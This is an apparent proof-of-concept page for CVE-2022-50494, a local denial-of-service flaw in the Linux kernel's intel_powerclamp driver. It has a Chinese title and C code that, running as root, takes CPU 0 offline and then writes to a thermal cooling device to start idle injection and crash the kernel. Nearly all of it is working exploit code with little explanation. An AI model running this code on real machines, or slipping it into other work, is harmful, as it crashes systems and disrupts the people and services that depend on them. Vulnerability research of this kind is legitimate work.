CVE-2022-50494 Linux内核intel_powerclamp驱动本地拒绝服务漏洞

/* CVE-2022-50494 PoC - Trigger kernel BUG via intel_powerclamp * This PoC demonstrates how to trigger the kernel crash when CPU 0 is offline * and intel_powerclamp attempts idle injection. * Note: Requires root privileges to control CPU hotplug and powerclamp. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> // Step 1: Offline CPU 0 (requires root) int offline_cpu0() { int fd; char buf[] = "0"; fd = open("/sys/devices/system/cpu/cpu0/online", O_WRONLY); if (fd < 0) { perror("Failed to open CPU0 online file (need root)"); return -1; } write(fd, buf, 1); close(fd); printf("CPU 0 offlined successfully\n"); return 0; } // Step 2: Trigger intel_powerclamp idle injection int trigger_powerclamp() { int fd; char buf[16]; // Set the idle injection ratio (percentage) fd = open("/sys/class/thermal/cooling_device0/cur_state", O_WRONLY); if (fd < 0) { // Try alternative path fd = open("/sys/devices/virtual/thermal/cooling_device0/cur_state", O_WRONLY); } if (fd < 0) { perror("Failed to open powerclamp cooling device"); return -1; } // Write a non-zero value to trigger idle injection snprintf(buf, sizeof(buf), "%d", 50); write(fd, buf, strlen(buf)); close(fd); printf("Triggered powerclamp idle injection\n"); return 0; } int main(int argc, char *argv[]) { printf("CVE-2022-50494 PoC\n"); printf("==================\n"); if (getuid() != 0) { printf("This PoC requires root privileges.\n"); printf("Run with: sudo %s\n", argv[0]); return 1; } printf("Step 1: Offlining CPU 0...\n"); if (offline_cpu0() != 0) { return 1; } sleep(1); printf("Step 2: Triggering intel_powerclamp idle injection...\n"); trigger_powerclamp(); printf("If vulnerable, kernel BUG should be triggered now.\n"); printf("Check dmesg for: 'BUG: using smp_processor_id() in preemptible code'\n"); return 0; }